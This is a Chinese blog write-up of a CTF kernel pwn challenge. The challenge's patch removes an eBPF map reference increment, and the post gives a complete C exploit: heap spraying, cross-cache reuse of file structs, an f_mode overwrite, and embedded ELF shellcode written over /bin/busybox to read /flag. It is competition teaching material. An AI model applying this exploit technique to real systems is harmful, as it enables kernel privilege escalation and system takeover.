西门子白帽黑客大赛 pwn wp

又翻出一道历史悠久的题

漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 264b3dc714cc..49263e1295db 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -12900,7 +12900,7 @@ static int resolve_pseudo_ldimm64(struct bpf_verifier_env *env)
* will be used by the valid program until it's unloaded
* and all maps are released in free_used_maps()
*/
- bpf_map_inc(map);
+ //bpf_map_inc(map);

aux->map_index = env->used_map_cnt;
env->used_maps[env->used_map_cnt++] = map;

bpf_check如果ebpf program使用了某个map会把map->refcnt+1,patch把这行注释了。如果load ebpf program后close(map),仍然可以通过ebpf program对map进行读写,造成了uaf

利用

bpf_check检查通过后会把ebpf program转换成可执行代码,bpf_prog->bpf_func指向这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct bpf_prog {
u16 pages; /* 0 2 */
u16 jited:1; /* 2: 0 2 */
u16 jit_requested:1; /* 2: 1 2 */
u16 gpl_compatible:1; /* 2: 2 2 */
u16 cb_access:1; /* 2: 3 2 */
u16 dst_needed:1; /* 2: 4 2 */
u16 blinding_requested:1; /* 2: 5 2 */
u16 blinded:1; /* 2: 6 2 */
u16 is_func:1; /* 2: 7 2 */
u16 kprobe_override:1; /* 2: 8 2 */
u16 has_callchain_buf:1; /* 2: 9 2 */
u16 enforce_expected_attach_type:1; /* 2:10 2 */
u16 call_get_stack:1; /* 2:11 2 */
u16 call_get_func_ip:1; /* 2:12 2 */
u16 tstamp_type_access:1; /* 2:13 2 */

/* XXX 2 bits hole, try to pack */

enum bpf_prog_type type; /* 4 4 */
enum bpf_attach_type expected_attach_type; /* 8 4 */
u32 len; /* 12 4 */
u32 jited_len; /* 16 4 */
u8 tag[8]; /* 20 8 */

/* XXX 4 bytes hole, try to pack */

struct bpf_prog_stats * stats; /* 32 8 */
int * active; /* 40 8 */
unsigned int (*bpf_func)(const void *, const struct bpf_insn *); /* /
struct bpf_prog_aux * aux; /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
struct sock_fprog_kern * orig_prog; /* 64 8 */
union {
struct {
struct {
} __empty_insns; /* 72 0 */
struct sock_filter insns[0]; /* 72 0 */
}; /* 72 0 */
struct {
struct {
} __empty_insnsi; /* 72 0 */
struct bpf_insn insnsi[0]; /* 72 0 */
}; /* 72 0 */
}; /* 72 0 */

/* size: 72, cachelines: 2, members: 26 */
/* sum members: 66, holes: 1, sum holes: 4 */
/* sum bitfield members: 14 bits, bit holes: 1, sum bit holes: 2 bits */
/* last cacheline: 8 bytes */
};

bpf_array的内容就跟在bpf_array结构体之后,其他bpf_map同理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct bpf_array {
struct bpf_map map; /* 0 256 */

/* XXX last struct has 26 bytes of padding */

/* --- cacheline 4 boundary (256 bytes) --- */
u32 elem_size; /* 256 4 */
u32 index_mask; /* 260 4 */
struct bpf_array_aux * aux; /* 264 8 */
union {
char value[0]; /* 272 0 */
void * ptrs[0]; /* 272 0 */
void * pptrs[0]; /* 272 0 */
}; /* 272 0 */

/* size: 320, cachelines: 5, members: 5 */
/* padding: 48 */
/* paddings: 1, sum paddings: 26 */
} __attribute__((__aligned__(64)));

如果ebpf program使用了map且bpf_check通过后,bpf_prog->bpf_func直接使用map的地址定位content

以上特性说明两点:

  1. bpf_array的大小可变,通过改变array大小
  2. 不用担心map重新分配后内容被破坏,因为bpf_prog->bpf_func对map的操作不使用bpf_map的数据

Exp

改busybox的打法,Cross-Cache到filp然后ebpf program改file->f_mode

选择控制bpf_array大小为512。再大一个slab会占多个page,分配会靠后;file结构体256,所以不能再小。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
#include "mykernel.h"
#include "bpf_insn.h"

#define FILE_SPRAY_N 0x300
#define MAP_SPRAY_N 8*16


static inline int bpf(int cmd, union bpf_attr *attr)
{
return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}

static __always_inline int
bpf_map_create(unsigned int map_type, unsigned int key_size,
unsigned int value_size, unsigned int max_entries, unsigned int map_flags)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
.map_flags = map_flags,
};
return bpf(BPF_MAP_CREATE, &attr);
}

static __always_inline int
bpf_map_lookup_elem(int map_fd, const void* key, void* value)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

static __always_inline int
bpf_map_freeze(int map_fd)
{
union bpf_attr attr = {
.map_fd = map_fd,
};
return bpf(BPF_MAP_FREEZE, &attr);
}

static __always_inline int
bpf_map_update_elem(int map_fd, const void* key, const void* value)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}

static __always_inline int
bpf_map_delete_elem(int map_fd, const void* key)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
};
return bpf(BPF_MAP_DELETE_ELEM, &attr);
}

static __always_inline int
bpf_map_get_next_key(int map_fd, const void* key, void* next_key)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.next_key = (uint64_t)next_key,
};
return bpf(BPF_MAP_GET_NEXT_KEY, &attr);
}

static __always_inline uint32_t
bpf_map_get_info_by_fd(int map_fd)
{
struct bpf_map_info info;
union bpf_attr attr = {
.info.bpf_fd = map_fd,
.info.info_len = sizeof(info),
.info.info = (uint64_t)&info,

};
bpf(BPF_OBJ_GET_INFO_BY_FD, &attr);
return info.btf_id;
}

struct bpf_insn hack_prog[] = {
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1), // reg9 = ctx
BPF_MOV64_IMM(BPF_REG_0, 0),

BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), // reg2 = fp
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), // reg2 = fp - 4

BPF_LD_MAP_FD(BPF_REG_1, 3*8+3),

// map_lookup_elem(map_fd(x), fp - 4)
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

BPF_MOV64_IMM(BPF_REG_1, 2|0x40000|0xa801d),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_0, 0x34),
BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_1, 0),

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};

#define BPF_LOG_SZ 0x20000
char bpf_log_buf[BPF_LOG_SZ] = { '\0' };

union bpf_attr hack_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insns = (uint64_t) &hack_prog,
.insn_cnt = sizeof(hack_prog) / sizeof(hack_prog[0]),
.license = (uint64_t) "GPL",
.log_level = 2,
.log_buf = (uint64_t) bpf_log_buf,
.log_size = BPF_LOG_SZ,
};

char buffer[0x8000] = "eurus";

void trigger(int fd_tmp) {
struct __sk_buff md = {};

union bpf_attr test_run_attr = {
.test.prog_fd = fd_tmp,
.test.data_size_in = 0x300,
.test.data_in = (uint64_t)&buffer,
.test.ctx_size_in = sizeof(md),
.test.ctx_in = (uint64_t)&md,
};

bpf(BPF_PROG_TEST_RUN, &test_run_attr);
}


int file_fds[FILE_SPRAY_N];
int map_fds[MAP_SPRAY_N];


int main() {

setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);

save_status();
bind_core(0);

prctl(PR_SET_NAME, "Eurus");
memset(buffer, 'A', sizeof(buffer));

/*
kmalloc-512
cpu_partial = 52
min_partial = 5
oo = 8
*/

for(int i=0; i<MAP_SPRAY_N; i++) {
map_fds[i] = bpf_map_create(BPF_MAP_TYPE_ARRAY, 4, 0x200-0x140, 1, BPF_F_WRONLY_PROG);
if(map_fds[i] < 0) perror("bpf_map_create");
}

puts("Spray map over.");

int bpf_fd = bpf(BPF_PROG_LOAD, &hack_attr);
if (bpf_fd < 0) perror("bpf_prog_load"), puts(bpf_log_buf);

for(int i=0; i<MAP_SPRAY_N; i++) {
close(map_fds[i]);
}

puts("Release maps over.");

for(int i=0; i<FILE_SPRAY_N; i++) {
file_fds[i] = open("/bin/busybox", O_RDONLY);
if(file_fds[i] < 0) perror("open");
}

puts("Spray file over.");

trigger(bpf_fd);

unsigned char elfcode[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0xbf, 0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x00, 0x00, 0x57, 0x48,
0x89, 0xe7, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0x48, 0x83, 0xc0, 0x02,
0x0f, 0x05, 0x89, 0xc7, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc2, 0x00, 0x01,
0x00, 0x00, 0x48, 0x31, 0xc0, 0x0f, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00,
0xbf, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x00,
};

for(int i=0; i<FILE_SPRAY_N; i++) {
int n = write(file_fds[i], elfcode, sizeof(elfcode));
if (n > 0) {
puts("Write Success!");
break;
}
}

return 0;
}

西门子白帽黑客大赛 pwn wp
http://akaieurus.github.io/2025/09/01/ximenzi/
作者
Eurus
发布于
2025年9月1日
许可协议